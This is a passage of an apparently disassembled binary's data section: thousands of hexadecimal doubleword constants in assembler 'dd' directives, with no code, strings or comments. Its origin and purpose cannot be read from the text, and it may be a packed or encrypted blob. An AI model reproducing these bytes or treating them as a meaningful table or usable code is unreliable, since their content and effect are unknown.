0B74833D3h, 510BC8h, 0E3D23231h, 0FDCD779Eh, 0E04DA530h dd 57AE49h, 0DBD40E2Ch, 749951C7h, 7852AD3Eh, 5C49CA26h dd 14663C62h, 6D39861Eh, 200BD700h, 0C1A6B74Bh, 10C64858h dd 0E9DE6034h, 0B1F4D150h, 0CE21EF00h, 837A1C4Fh, 0A77601DEh dd 9EF5EC10h, 7F7E9846h, 0C853299h, 0CF386CC1h, 5D267EF4h dd 0E0B5C5Bh, 0F5D82024h, 131A26FEh, 582B263h, 8C4566D0h dd 50F43F8h, 54A9762Eh, 3CE4C144h, 0D860645Ch, 0BB060057h dd 12A5A76Bh, 0FC4CCD4Fh, 0A15E1393h, 0B5428h, 530589EBh dd 882E7B29h, 7160C100h, 112BC72Dh, 1BE6F1h, 0E35016BFh dd 0E664B6EAh, 6C91D401h, 0C3305E93h, 0B542D0h, 2C24991Bh dd 16F06431h, 68BE4E0Eh, 7A930158h, 41D0518Eh, 0ACC43DC2h dd 2BAFDE81h, 40A93989h, 625B4687h, 63FE320Bh, 0C6CF8067h dd 5978D4h, 9D3B0A06h, 7550F85Eh, 0F11F907Ch, 0B9402A0Ch dd 65A37AEEh, 0D78300E3h, 1A9A84A7h, 1006ABEh, 0E2A22D16h dd 15655Eh, 104FA420h, 0FEF823D3h, 0F3DDBD00h, 612607C1h dd 0A9F452h, 16E49EBCh dword_52A048 dd 7CB0A502h, 0CA91FD00h, 613A0DB8h, 9578003Dh, 88A89A2Ah dd 0A600694Ch, 0D1E40A0Fh, 3FDB7F9h, 40C4F081h, 590FD434h dd 218CBCF4h, 372EB9CBh, 156B60h, 2FD41F3h, 835048B1h dd 3279AD1Eh, 9FC01402h, 0AE20A05Fh, 1325FCh, 30E57466h dd 0C2216F04h, 0F3D4171Eh, 0B353E980h, 0C83996h, 0BDF8A27Ch dd 0A60C63B7h, 87D2A93Bh, 0FDFE7FEEh, 3F495780h, 0E0530048h dd 89045486h, 880068A7h, 0BCD5A07Eh, 1FFA5A01h, 84A260EAh dd 0C0F3CF1Bh, 0A7F411BDh, 4A5C900h, 54AA0F15h, 475E0022h dd 689F7837h, 0C30EEC24h, 808B882Fh, 3D4E9DA8h, 66FB03C5h dd 0B22519A5h, 0D99550C0h, 71823Dh, 1E2CCFF7h, 4345D5h dd 5A20D1F9h, 17BE04DAh, 0D990C000h, 9BC48547h, 0AF74009Dh dd 0B8EE0C09h, 0DD00B3C5h, 0C20298CAh, 372C99h, 7659A63Eh dd 3134914Eh, 6FE18300h, 6A5BDF35h, 0E2FE4Dh, 0CADAF020h dd 421C4EE4h, 6B66FF00h, 0D1B40C0Eh, 0AA78001Bh, 0E2946E22h dd 0A07DC5Ah, 0B2F97AEBh, 0A5D23A40h, 2DD074Bh, 0F079AE55h dd 9B920DB3h, 3E0F3500h, 0AB75F5E9h, 0CC9861h, 0EC4D05C7h dd 0CEA0FEAEh, 92D0450Bh, 123407B4h, 814C0660h, 71B300F1h dd 0BD908010h, 0C40C37EFh, 608C6E16h, 0E7580953h, 100088E6h dd 0C5D26F9Bh, 0D44CB800h, 0A1B6D8D0h, 0F0FB000Fh, 0E4FC3471h dd 0B17A28Eh, 3500AE53h, 0B7A5232Eh, 5377410h, 0BD115106h dd 0ED8E804Bh, 36002C7Ah, 25B83546h, 0C91A030h, 8554FB71h dd 0B7300A70h, 0CC9F40F3h, 0D159C19Bh, 43B8A199h, 0F1A9693Ch dd 1660812Fh, 0F9669B37h, 3B1F6041h, 0BC61FCh, 0C5412E75h dd 6A83A47Bh, 86112C18h, 3BCA0469h, 731E829Eh, 22C6E18h dd 0CFA05188h, 0C8C2FB41h, 370F6C36h, 0E0449C3Ah, 91EA1FE8h dd 5F8B0CABh, 53987817h, 0CA4E3900h, 0E433204Bh, 0D38C012Dh dd 0B90F4E8h, 0D9C08705h, 0C7B03ED1h, 1D93F588h, 18A8D4F8h dd 49E2E1A1h, 0E63C6C07h, 34E0D7C7h, 0F2706B15h, 123000F5h dd 0FFDC430Ah, 0CB303D47h, 17F3C09Eh, 9C6B003Bh, 4B96051Ch dd 0FA379A4Dh, 721E136h, 95C8C13Bh, 0E07A0FCBh, 0A0188C2Fh dd 2C008709h, 0D39219AEh, 0E806B5B1h, 0EE2300E6h, 96CA5F10h dd 78C96F49h, 0DD3C2552h, 5410402Bh, 0B76DC0AEh, 32432Fh dd 1A7076F4h, 508FDC52h, 0FA945154h, 0E92F018Ch, 4B583110h dd 4007088Ch, 6A00B80Ah, 0E96FFE6Eh, 0C0172816h, 7DAB9039h dd 4400BEBDh, 0CDEED033h, 0A309385h, 17A8918Dh, 8F1283A0h dd 10008EFDh, 0F6D9F89Fh, 0E5EA4BE7h, 290CDE0h, 0E5D6855h dd 71600F1Eh, 7200E0DAh, 74D1515Ah, 0F4215E4h, 3A1B46A3h dd 0B388F6A0h, 1D3C38B6h, 9582073Bh, 3970D0A6h, 0F6B975D8h dd 6E680057h, 0E19DDBB8h, 96012CCBh, 80024F9Bh, 81E06BF8h dd 910F00B5h, 0F78635DAh, 0CAF684E2h, 0EDEAFE01h, 104B55ADh dd 0D40D7C6h, 7300409Dh, 26716D48h, 7C8552h, 0B4BE7B2Fh dd 0FBB2243Ch, 43AA1707h, 8BC012C2h, 989BE581h, 58A0001Ah dd 53271B21h, 0A8036EECh, 11BC3A42h, 0EFE090D7h, 58DE00B5h dd 0A3CC6C10h, 69002E6Bh, 9ABF59Ch, 1E520F41h, 0CA2FE3h dd 0DAA9A850h, 0CD00A3B4h, 86BC7AFFh, 0FC45E761h, 0FDD000D6h dd 144B62B3h, 0ED00DF75h, 7E60D5E2h, 7B6F58Bh, 0A7685C29h dd 6998F0F3h, 8E0F1D66h, 439DEEA1h, 1C27281h, 77179C68h dd 0EC15564Dh, 0F98D73Ah, 3CA4D603h, 4FA97Bh, 25481E29h dd 15A3BA4Ch, 0BC01A8B8h, 1424D23Bh, 8841AB9Dh, 880C34Dh dd 0B148D0CAh, 1D0352C4h, 4520FE53h, 0CFCCA87Dh, 0E8B3006Dh dd 5A960C64h, 0E0E58DBh, 0A014B7D7h, 692AD371h, 6844000Ah dd 0DF309DDEh, 10000BD2h, 38E197B2h, 0DD14A6h, 1562AE6h dd 0EAF6D8EBh, 0B8FE4Ch, 1A1FB126h, 3B4D13h, 0F9CA9355h dd 0E056D6BAh, 1ED41407h, 0CF430998h, 8D200703h, 5790E1CEh dd 2865BDh, 37AC34DDh, 263E4F13h, 9485000Fh, 32843CF4h dd 593A60CBh, 3608BA7Bh, 4486B773h, 0B8009F35h, 0D6E384B5h dd 1D31933h, 6426F427h, 4645E941h, 0EA0028C0h, 4F541C3Ah dd 26B80Bh, 7612493Ch, 56FDC224h, 7A70E960h, 0C0C142h dd 0E49B4643h, 0B3AAF659h, 0BA0EA400h, 0B7B403E0h, 0A80C307Ch dd 56D3CEB0h, 0EA948000h, 0D633625Ah, 8F6F03A2h, 8DA9BD27h dd 0EAD8FCA7h, 0ADFC4Ch, 999A7F73h, 0A8E174h, 0D02530D4h dd 0DCB47947h, 9151EE07h, 87701052h, 10189BEh, 0B7E4C59Eh dd 0E86ABA90h, 21000831h, 8AD1FC58h, 0EF7D04h, 6DB3F93Bh dd 0E09C26EBh, 8EAA800h, 0EDC459Fh, 0CCC1D9Ah, 0AE9D00AAh dd 8D5EA9D0h, 36460507h, 2A308C1Ah, 71AB5257h, 45AC0383h dd 0B0DE49A2h, 36C0EB95h, 1F962FBEh, 0E70F7E58h, 1D009CFEh dd 87DC701Eh, 9C7CEEh, 0FC28582Eh, 0B779A8C6h, 26BBA000h dd 1BC913E3h, 0F3970048h, 228F3846h, 9C0041D6h, 7E19253Ah dd 13BA4EEh, 11C0A554h, 0C824084Fh, 96005277h, 0F0C874DCh dd 0F7AE32h, 7C1C85A8h, 0D880873Bh, 0F18BA600h, 4F9F84DCh dd 98CD1F6Bh, 10060619h, 720008B8h, 838EDA1Ah, 38A12351h dd 74762C7Ch, 0B4D6002Ah, 0A6101A4Ah, 800F5BC3h, 0E01524EFh dd 9CA3BEA7h, 78713066h, 0FA199788h, 3F8113Ch, 722B05CAh dd 3F3DD8B9h, 824C30E0h, 3AC22A21h, 0E70EF4EAh, 2E17941Eh dd 44528220h, 0A34F604Ah, 6D180E88h, 0A5A06C84h, 97E427A9h dd 11859918h, 0F2247D90h, 965F3291h, 0F30D160h, 0F506088Eh dd 91621B2Fh, 3D590042h, 0D0B0C73Ah, 0E600CB7Bh, 7A4EEFC0h dd 42FA54h, 652FE772h, 29949782h, 6F00C2FCh, 0B9418ABFh dd 1F37A1DAh, 0EEAF0D9h, 55A02663h, 0D7487E1Fh, 0C8000DFEh dd 4D512C4Bh, 165F1768h, 499457h, 69B4B020h, 0C30CFD84h dd 20E63DD9h, 0EB9600D3h, 3CF23F01h, 0E400BF77h, 0D6C250B3h dd 7FA5BE0h, 0EB7665Dh, 0C0EDA7FBh, 447D65D0h, 0C65C0500h dd 0F6A09EA5h, 5FA90313h, 2C3AADCBh, 302FD0BFh, 9604E05Dh dd 0CD9D0848h, 0D73FA7C0h, 63280078h, 0E26F91A1h, 8548F077h dd 3DA800FDh, 90065670h, 0D8F64814h, 0BCBF5300h, 0E505438Eh dd 7031F0Fh, 0E3B5C1B8h, 0E1CB2F48h, 0B4E00208h, 7EBB004Dh dd 2778665Ch, 0C300F7CCh, 9EFB9C5h, 77F16DDh, 7C72A382h dd 5FD37022h, 8701AC1Dh, 0F689A904h, 0D8806B48h, 1FCD1808h dd 0BE00EE09h, 0B69FF8Ch, 0BAB140h, 0A04858A7h, 637903B5h dd 0A8F44A00h, 0F38E5C39h, 0BE40BD3h, 748012DAh, 570A2283h dd 0A330F174h, 89FF20C6h, 0BD0EDD9h, 30BE018Ch, 0F5D067BAh dd 407EF046h, 1155A00Eh, 88CAE18Eh, 86E7C9DEh, 0D22A0018h dd 0D133A4F4h, 93008E04h, 540C746Ah, 31F1BE24h, 0E1082598h dd 332080D3h, 0FBD174C1h, 3210005Dh, 0B201CE36h, 5900BBAFh dd 412BE786h, 9AF1D0h, 0E2B79F89h, 5796DEF3h, 0ECDD9207h dd 0AA8083C1h, 0FC8DED3Bh, 0A4B100B3h, 18F8A225h, 9C6371E3h dd 0C88352EAh, 584939F3h, 0C300B2B6h, 0C94CE7Ch, 34095C4Bh dd 548A0561h, 9BE30507h, 4984089h, 0C5B13117h, 228DF500h dd 6DEB3A7Fh, 80CB50D8h, 5CF40A49h, 40B08A9Ah, 0DE36F037h dd 88804621h, 0CB00C5CDh, 0EC42DA05h, 3B9C075Bh, 2074F93Ch dd 24C414A1h, 1F0B2000h, 4ED86F1h, 5B8B005Ch, 8C8ED8DDh dd 0D60066C2h, 375014AFh, 0B0A171h, 59822407h, 0EAAB60BCh dd 2DD80300h, 7DAFE19Bh dd 0A26800ADh, 0BFFBC0D9h, 970B2A4Bh, 66EAC5h, 5744DC31h dd 0D2EC01B9h, 2B38A3F7h, 9356ECB0h, 0E6881E00h, 0BDD8E845h dd 0CB370F43h, 7FF3CEh, 553F773Bh, 1800AC8Ch, 715CE996h dd 1F49CD28h, 0F6A2B2h, 8A6C14D8h, 8F01CAB7h, 80D47E78h dd 0CCF05F0Fh, 0CB300391h, 0D57908F9h, 13A837E0h, 1B1DF1F8h dd 2580FF3Bh, 0DC4BCF5h, 184CB87Ch, 21F2236Fh, 0E700844Dh dd 6837C36Eh, 7369F32h, 7ADC542Dh, 0F8FD60FFh, 23F0E1A1h dd 3ACE3Dh, 9E924844h, 48293h, 712EFE02h, 50BF9D4h, 189C840Eh dd 20E04E7Eh, 87BE6F4Eh, 0F07D00A6h, 0C54FA26Eh, 15075174h dd 752FBBE6h, 0CC2E8240h, 1F290FA0h, 8CC04692h, 9ABF55FAh dd 32BE8600h, 8799F05Ch, 0FDEFC61h, 0FD72A7C1h, 20AF33CFh dd 0D366C0C0h, 9F008C0Ah, 0C567AFD0h, 7D22252h, 1CED1211h dd 62D00DAh, 0AE98E814h, 0AEB1CA00h, 0CD64349Ch, 0E75800B8h dd 7356860Bh, 0B6E8AD9Dh, 9800AF75h, 333907ACh, 1F030555h dd 0C061C96Dh, 0E2C0B89h, 0CB00A7E6h, 0C1D0D29Dh, 6A84DE8h dd 812A163Eh, 6C009083h, 0F48427BCh, 3873ACDDh, 48805A60h dd 0DA1D5B0Ah, 1E2C3E54h, 2606F8B8h, 0F2D8FB98h, 0C42A017Bh dd 8D4BA24Fh, 388040DDh, 5D03EB04h, 88C856A7h, 0E418000Dh dd 93D1668Dh, 0B30CF1ADh, 58E33387h, 289B060Ah, 40AC2684h dd 36AA59C0h, 714BA548h, 0A4A379h, 9DE8DF58h, 1EACC9A3h dd 95A61084h, 885710B1h, 1071DA8Fh, 0CC9D34D0h, 55B0F922h dd 0DC1B1886h, 2B6058BFh, 0CD10E342h, 42BB3B0Bh, 84F75A15h dd 2CE08414h, 20FF0E1Eh, 4DFE121h, 1FD66CA7h, 1E823390h dd 9F02A6CBh, 1B08E68h, 3990CD2Fh, 0B7715080h, 16E85CFh dd 0A306751Fh, 0BA3CF0FAh, 0AB0A00E6h, 125C84CDh, 1329282Bh dd 61FB1E94h, 2F470CF1h, 770114D9h, 0CB90ADA0h, 3D43E6Dh dd 3C5500CDh, 563AE168h, 9D015F1Ah, 3B9281F6h, 7E46121h dd 3993001Eh, 0EDB5ACDCh, 2F0794BAh, 0E64B6BCCh, 28FDA800h dd 78A8C0DAh, 8A6A0FC2h, 82412300h, 3597A5AAh, 0EEAEF886h dd 1A0E017Dh, 6991615Bh, 0FB5B20B9h, 0C9703E00h, 99D874ADh dd 9C1C0095h, 1FA46B96h, 0DC002FF0h, 38B2893Ah, 0BE991Eh dd 1A923057h, 162B3395h, 93E2601Ch, 81828CFEh, 1170ADCh dd 50125528h, 0D07EC5AAh, 392E011Ah, 590E5542h, 0E0A920B1h dd 513AD6B9h, 0DE8790DAh, 0A04C0A8Dh, 271FBA52h, 0D1952804h dd 0D3C0C566h, 0F8E5871h, 202BDB7Bh, 97A241A0h, 9600A503h dd 4C8CF4B3h, 3837739Bh, 389F314Ah, 49ED0035h, 0A71F3D24h dd 3710402h, 5FE4FD5Ah, 81A290C1h, 58676B10h, 0E7D0C7F9h dd 0F65E00A3h, 5318F70Fh, 0CF037A6Ah, 31F92402h, 0E03000AEh dd 0A1E3F99h, 5B77F02Ah, 370BF400h, 0AE8C57B7h, 4B652E14h dd 18D50054h, 622EEDFBh, 5AB9513h, 1247031Dh, 0BEA0888Fh dd 0F03C7Ah, 0CC55ACE6h, 0B839DDDFh, 3582E200h, 67D9C975h dd 2C2E3F22h, 0E9450073h, 9EC73A41h, 4DEEE265h, 0A0F4AEF0h dd 0D7DC10C0h, 4489B5h, 2494FA8Eh, 602F68B7h, 0BF58A000h dd 0DA935FB2h, 0BC150082h, 0F50EC7AFh, 2E0098C8h, 82F959Ch dd 0E5C649h, 5C1A40A1h, 0B5484DBEh, 922ADF0Bh, 239C00B7h dd 99550Fh, 0BDAFDD71h, 0CD0B27CBh, 0C262A301h, 0F2A89CB6h dd 0D3E3E0h, 0A06DB32Bh, 82B8614Dh, 75006776h, 0B180F1E2h dd 1DE6EF29h, 0E160FC6h, 4720B759h, 0EB22743Bh, 0E38F8C00h dd 83B2A1A9h, 7E2EEA2Fh, 0D60400DBh, 0C7037D0Ah, 0E7002219h dd 0B925D10h, 0FCF05Ah, 7F0FA029h, 7D336614h, 7BBB8800h dd 9E50F4A8h, 0E12000CAh, 0C14FD56Ah, 210E7123h, 0E7CEC5E4h dd 0F22A47D7h, 145E500h, 0B15825h, 7AC3FA27h, 40341B77h dd 1F864A07h, 0DA60B370h, 7AB60A81h, 892307BBh, 51340DB4h dd 0C0177639h, 0B1F6647h, 81DEC383h, 0EC700640h, 1264D89h dd 98DACFEh, 0DC6C35AEh, 503DF125h, 0D545A4B0h, 0B2D58339h dd 0F9655709h, 0E9607AE8h, 8CA51C13h, 0D6734767h, 0C071F792h dd 5BCCA455h, 3CD9B001h, 9C89F96Fh, 6BB802Bh, 4000C768h dd 9D755E12h, 3048B72h, 7F949025h, 6B93D3F5h, 0AA2BC0EDh dd 593B88EBh, 0BE9F80C5h, 0ADAED074h, 0D9BB01C0h, 1202C745h dd 72F8EC1Eh, 4B170500h, 9B71556Bh, 0B397004Fh, 8AE20389h dd 410B6C85h, 809AB877h, 45232A3Eh, 4C514897h, 0CA907F00h dd 0DD389EDCh, 0A7638900h, 0E22CD8A1h, 95C107CDh, 43F44207h dd 2911C8ECh, 0F0080FE9h, 6104E16Dh, 400243B2h, 0C09F768h dd 2010293Eh, 0D22B8F5h, 0E24E07B1h, 0BE389FAAh, 3B0862A8h dd 0B51988EEh, 0D89B4D9Ch, 8F5AB50h, 0E7CA7929h, 8CB6C508h dd 0D9A17AD3h, 0D11C1084h, 3C9128B9h, 51EB9231h, 29841045h dd 6BB0D57h, 10F106FDh, 22D9354Ah, 4D530031h, 0E314795Dh dd 7F00F578h, 0F0EED324h, 0F808163Dh, 9E0E0096h, 0BDA6C34Dh dd 1096381h, 878F7B43h, 25208DBBh, 0B9FE20h, 0BF613628h dd 0AA134AAEh, 0A930ED00h, 9DB3F77Fh, 0EAA505ECh, 0C0899047h dd 0E46C38F8h, 0D60A38h, 0B8CBAD10h, 0FA0F7Ah, 72B3A222h dd 7FD84717h, 0DA1AE00Eh, 0C728801Ch, 0E804B88Ch, 0B1D43CB5h dd 7340B400h, 0F47F6010h, 8BE79E00h, 3715662Eh, 36610062h dd 6DE1A272h, 0E87E4182h, 22462B03h, 58920Fh, 0C77F38E2h dd 0DD5E1CDh, 28DCB300h, 0EDC026FDh, 0F32900CBh, 953B4FB7h dd 0E400D8AFh, 1F85E036h, 7918922h, 0DB925A5Dh, 0C8A3B0F1h dd 0A71ED9D6h, 7380A6C6h, 9D3CC2Eh, 0B82904C0h, 806D5035h dd 6FBE5B95h, 53DE7F00h, 8A286C90h, 4C9200BBh, 5FB4EAB8h dd 577C5DD2h, 0DF62E900h, 0F474D488h, 58260038h, 0D17BBFAh dd 0AA002BFFh, 0B07E8043h, 0B19CCAh, 0A7793A2Dh, 735F644Ch dd 775D6C00h, 1E096B13h, 49B1CC4h, 0C7374005h, 173AA825h dd 0F0533Dh, 86937F76h, 0E6D3EA3Bh, 0EFB600F3h, 4A4547DAh dd 0D09FA04h, 80A8E888h, 0FF221090h, 5B0A1229h, 4F3000A5h dd 90B1BF8Eh, 0D3744900h, 0D19BF966h, 3717008Ch, 565BAF25h dd 0FA00B06Eh, 0EC68AA01h, 22546Ah, 5ED78226h, 75F07EE9h dd 9CD18400h, 2463C23Bh, 73AF6C9h, 0E605FAA0h, 60006FCAh dd 7FA2C4ADh, 893E2B03h, 888FFE2Dh, 3FC811ABh, 70BEF7h dd 0E14D9AECh, 34AA0A6Ch, 5ED20F00h, 0B6AC5AC7h, 0D6093F35h dd 0B34500F0h, 0E63E5FD8h, 93002517h, 35332F7Fh, 85B98Bh dd 8E66CCF2h, 0F13D0B8Fh, 0DF3C0672h, 766F8097h, 79106E3Ch dd 83FE50ECh, 627138DEh, 406C1A81h, 0E8951C9Dh, 0D00BFEBh dd 475E232Eh, 2BCF38h, 0D259106Dh, 941CB333h, 88001C90h dd 7DBFF227h, 7D4649F0h, 6223008Dh, 0CE7A0E44h, 1B005FA7h dd 84ADA588h, 0B0B880h, 0BBD73ABEh, 0F32A6B44h, 0E0CAEA14h dd 670900D4h, 30A7286Ah, 9EB73BB5h, 0B472F200h, 76FA99D3h dd 2B9E200h, 5EA9CEB2h, 5AB52E90h, 0C0971CAAh, 3D1EBF80h dd 0FD0365F6h, 62C4B6B9h, 1BB80126h, 53951863h, 5243E0FEh dd 0DA6BBD01h, 858CA749h, 58189C20h, 0B10019D5h, 0FF9DEC3Ah dd 3F09A9DCh, 5D1227Eh, 38800549h, 0F4E313F3h, 45C5CEEh dd 0BCEC700h, 899DB076h, 0DFEF1500h, 12A5342h, 0D28D0073h dd 1D5972F9h, 0D8392F61h, 801848F0h, 4631C085h, 0A0090E73h dd 15240CBCh, 0D14809Ah, 0C120640Eh, 0B3390094h, 0FF8265FAh dd 34787075h dd 6F0F8A00h, 4B4A7E6Eh, 888E0E09h, 4320F4E5h, 7992D1A4h dd 581F2004h, 64C58A9Fh, 80D7E00h, 0F8ABCD84h, 6BFA15h dd 88C0A1BFh, 0B4A8224Eh, 0D1009CFEh, 0A76CBF0h, 8D3553h dd 1C6FA73h, 0AA63D52Fh, 66418407h, 1610F531h, 30BE88h dd 0F629EB98h, 37ADECCAh, 90144C00h, 0C212B6FCh, 151303CBh dd 0C97C28BAh, 201FC5B9h, 0D7018CACh, 85A0612Ch, 7FDC297Eh dd 5A78000Ch, 0AAE97DAFh, 8300AE30h, 3593F05Fh, 3BD47Bh dd 0FDD821C7h, 45D774A0h, 9526B87Fh, 0A600E624h, 9AEB04BBh dd 43D00042h, 60025BB6h, 7D01C08Bh, 2A6572FAh, 0B1E4B045h dd 0E9FE3Eh, 0A53BEAB7h, 5690342Bh, 0F5138F0Fh, 715C2512h dd 0FD35C800h, 50F7C0DBh, 6FA4F0h, 16119310h, 5F038023h dd 15B58400h, 4471B9A4h, 767B7D24h, 7F680076h, 0CFF9AECDh dd 96389B3Bh, 87A5800Ah, 0C9CB5E05h, 0F054015Ch, 0B4277C37h dd 728FE410h, 3940E300h, 44BAFE69h, 7649479h, 0C083D361h dd 766A3A4Fh, 0CA4E0F1Ch, 4E004B12h, 0A3B464E4h, 0C87A0F0Dh dd 336002FAh, 0B2FF8134h, 7B5CB107h, 0F1C0EF9Ah, 3A21C88Dh dd 0FD873869h, 0E22E9522h, 0C4400804h, 97718940h, 77986600h dd 7225DF1Ch, 0F4EE008Eh, 0F7FF6A88h, 4B09961Eh, 4B6DEB2h dd 44C08339h, 0E3E52Dh, 5DD0F7F1h, 37914327h, 482B8C03h dd 0A7572A5Fh, 39AE170h, 0D82600DDh, 518D3A61h, 3C00AC99h dd 82CEF31Eh, 9542C49h, 69E72AA7h, 3461BF0Fh, 80A1FB31h dd 540D2E9Eh, 3F63E04h, 4D52EF53h, 0A4A64115h, 15A904Ch dd 3CC2FE35h, 0ABDCE576h, 0A1C0015h, 44C76950h, 240797FCh dd 28EE2E71h, 947DC130h, 0E0120015h, 0C9CB1FDh, 4C00D05Fh dd 5A03B95Bh, 184EDA61h, 0C1CE4873h, 0D8009908h, 1666CD5Eh dd 0E880FFF8h, 0FB910764h, 4BF3A6DAh, 0EFDF9282h, 63E896C3h dd 2A07F9E8h, 1D9734CCh, 0A53E5710h, 0FDAD0B8Eh, 0A8002615h dd 1F82B373h, 787E5A07h, 9A004C46h, 979841h, 735AD9Dh dd 536C6386h, 8217D83Eh, 0E874FBFEh, 5AAA87B6h, 0FBBE04Eh dd 0E6A8694Fh, 1A6D00F5h, 35A46E7Ah, 53002655h, 5979F925h dd 0A80309h, 0A90719F7h, 0FC950F99h, 0A2B85700h, 3F04C93Dh dd 0D4711494h, 5D0084E7h, 0CB29459Dh, 630078A1h, 6C27371Ah dd 1BB68Fh, 2A62C187h, 0F35990A0h, 66EF4000h, 77D46393h dd 86F103DCh, 0CBDBEAD9h, 8DCF32C0h, 0B4982124h, 547B093Eh dd 1158A3EFh, 0D851B329h, 0FC464895h, 906C00C0h, 7DFE4B75h dd 1507C2FCh, 7ACB082h, 5A9A04A0h, 0BE700D3h, 23AE4FAAh dd 0F1005B49h, 90C086E3h, 7B7B011Dh, 0D49807B5h, 0B0C60D28h dd 54E7841Bh, 0A769B800h, 22D241D6h, 3B3E0C8h, 0EEC4AC80h dd 6EF097CAh, 7F00B459h, 0BC5EC32Ah, 7043DBh, 0BF59A60h dd 55CD2675h, 0C424B00h, 0EB8A66DAh, 0E2272810h, 1EC1009Ch dd 4DF5EAFBh, 0D6731968h, 928ADC00h, 56E32CE1h, 0BD74A1h dd 49653DD2h, 9C5C4E28h, 0C53A2300h, 0C9C30196h, 64D00FCDh dd 0D754F747h, 1E859C40h, 81C69209h, 511B08E8h, 0BDDCF0D2h dd 4FD9FD0Fh, 0C0492F53h, 254A70D0h, 968F0047h, 0C1EC8D40h dd 7500593Fh, 0A2C62F6h, 65FC4Bh, 6F25D231h, 0AB7ABBEDh dd 48F5C63Eh, 0CBB7B050h, 0BF4C0045h, 55662E72h, 4A00F8B9h dd 0B2E20359h, 0F2C987Fh, 93EF5839h, 0DB5113E0h, 2B00E3BBh dd 0AE8F5082h, 1D3E667Dh, 40C388ACh, 0AB15116Ah, 10027CA0h dd 90B27250h, 0DCF4A0A4h, 0FAF6E1h, 7F8F9F14h, 9E0E9D63h dd 0AB6F102h, 60B72CB4h, 5856D8FBh, 0BF1C3D6Fh, 577DC599h dd 0CFCE076Ah, 2DB190F0h, 4118454Dh, 0B6988C29h, 427E3AE8h dd 1C7F028Eh, 0B4435940h, 0B900C963h, 917592F5h, 3F0D8Ch dd 541EC877h, 1C08FF45h, 33B80700h, 0C9245DA9h, 0DBF30058h dd 3E68756h, 0C003EA39h, 0A8730B3Ah, 0C85EE981h, 3F7DB530h dd 9D006433h, 8D74BBDCh, 21004A58h, 8ADD931Ah, 0EA50B3h dd 83B89216h, 95995E75h, 82B50B01h, 0FFBBECE0h, 78EA23C8h dd 63ED146Fh, 0C803AE1Ch, 884A3BA4h, 0F95E1100h, 0F4D57EE7h dd 0E0C900F5h, 5A9FC87h, 8E030DB8h, 0EF43CA67h, 0A3B5E01Dh dd 3D270B56h, 4F00B13Ah, 202EB728h, 4848AD73h, 9F830059h dd 0F960449Dh, 31251252h, 7AAC80A7h, 0D51E9984h, 784009ECh dd 469CF3AFh, 25F000EEh, 0FA0BE9A7h, 143EB363h, 57681C85h dd 0A7D8AA09h, 0B937DE28h, 2E59DC50h, 69FE2Fh, 0B74DB8E2h dd 0DE1B7973h, 0D8D5BE00h, 34589FE3h, 9E2002Ch, 0F013285Ah dd 47001D84h, 0B75B6B43h, 3C6A9F93h, 518058DFh, 0E727900Dh dd 0A10B92C5h, 62AFC1h, 670C8F03h, 68F248E0h, 0C67FCA00h dd 2F9EDB24h, 161DF5Ch, 0CEF1E54Ch, 48C08E0Ch, 0BACB002Ch dd 1E47E91Ah, 273B6BE4h, 0D1F50010h, 0F3A1D843h, 0D0FE4Bh dd 488444FCh, 0B7B5CE77h, 9F290A1Eh, 25D1FD40h, 92EE1Ah dd 0D5019806h, 21BC0EB8h, 80F06D3Bh, 6686DBC6h, 2E3199h dd 0A7C1E43Ch, 0B5E8605Bh, 4391BD01h, 34ED62D7h, 31ABA440h dd 0CC9833h, 0EBC6B161h, 0D2838039h, 532F9300h, 58E07246h dd 12771EA2h, 0EB450255h, 7402D51h, 3E00C2A6h, 65AC33A4h dd 112CABh, 0F86614EFh, 928FB2ECh, 3B649B00h, 9A177C6Ch dd 0FB4E3EACh, 25A68900h, 9130FEF0h, 0A4BB4930h, 0E0993Dh dd 2B838E8Dh, 0BC4B01F8h, 58972800h, 3BC9B686h, 4A2C006Fh dd 0BF78B75Eh, 8A26EE0Ah, 7C0F428Eh, 765A203Fh, 0F294482h dd 6C71DC0Ch, 0F11CABA0h, 0E800CE9Ah, 0EA4BBF93h, 72F2BC55h dd 84F300CCh, 97CFDCA7h, 3A381411h, 0FEA801F1h, 800B6269h dd 5B403A30h, 556200FAh, 392F794Fh, 7F003BF0h, 7B5FC79Ah dd 76EBD821h, 0E43E00DDh, 0C6B4B399h, 0B00FD20h, 8C564BF7h dd 58BD1Eh, 49DA9544h, 9B53E467h, 1C9F6A00h, 0B57D65ABh dd 0BB2B1CFEh, 7ADAC088h, 0A91032D7h, 0F83CE613h, 0DD1FE800h dd 0F4A6BCB4h, 62790082h, 907AC871h, 2C1C089Eh, 0FD09DDA9h dd 8F018261h, 7CCD03Fh, 22F8E0DFh, 6BFB9066h, 5800F305h dd 82985DD1h, 90B9A443h, 7EAB05CEh, 809052A2h, 0DF119E52h dd 8D9CD300h, 216CB9A1h, 94BC0FF1h, 6280076Fh, 81C19F6Dh dd 183F7E03h, 808B0EB1h, 61C43EDh, 6A653A7Bh, 4E002C83h dd 0F24751CDh, 0FCC6E92h, 0EB763D55h, 27FF8120h, 93007D33h dd 93BF50Dh, 0BECB5Fh, 0DF07E6E3h, 61558168h, 6BF3B800h dd 3E1226AAh, 0BC5F00DCh, 423AC6A7h, 52045AF9h, 23BA5EF5h dd 78B33880h, 0B1C30044h, 0AD748D82h, 0DD1F81AEh, 0A5C7FB26h dd 0B1063D2h, 50689CF8h, 76E1F2h, 5980CD78h, 7EC7F21h dd 3054E70h, 0E41CCF5Dh, 6EEA80BBh, 0F05CF7C3h, 5E4C8738h dd 6AE2D4D0h, 0D04A01h, 0AA7D8B6Ch, 4A05CBF7h, 104FDB66h dd 0CF1C9D80h, 88F80011h, 84CEA84h, 0D0FBFBEh, 20B22E32h dd 529995E7h, 245CBA68h, 26B77C64h, 0DB540062h, 2F4D6607h dd 6AE0CA00h, 2C262AE1h, 0DAD20EF4h, 1820405Eh, 85A603ECh dd 62411500h, 0ADABBEA2h, 0D33E0371h, 4E47E84Ah, 0E36AF6B0h dd 7CEC6D00h, 9101B568h, 91135854h, 7104B801h, 0C00D2351h dd 1C008E12h, 0C14BF086h, 3B6AE948h, 0DA80A93Eh, 0D7FE0AC8h dd 0C3FFF06h, 0E26B8015h, 0C62BFCEAh, 8BD40082h, 0B30873DBh dd 3F0FCE53h, 0C0D63849h, 15472336h, 734C002Eh, 2BFA6655h dd 0B148130Dh, 0E30F784Dh dd 61689A65h, 2C86E037h, 2C9442D0h, 269B220h, 0ECA36BD7h dd 53A06C60h, 0FDF43Dh, 2AF0C3BBh, 0B9DA7Dh, 42B4A949h dd 0F9430C1Eh, 6E9C0300h, 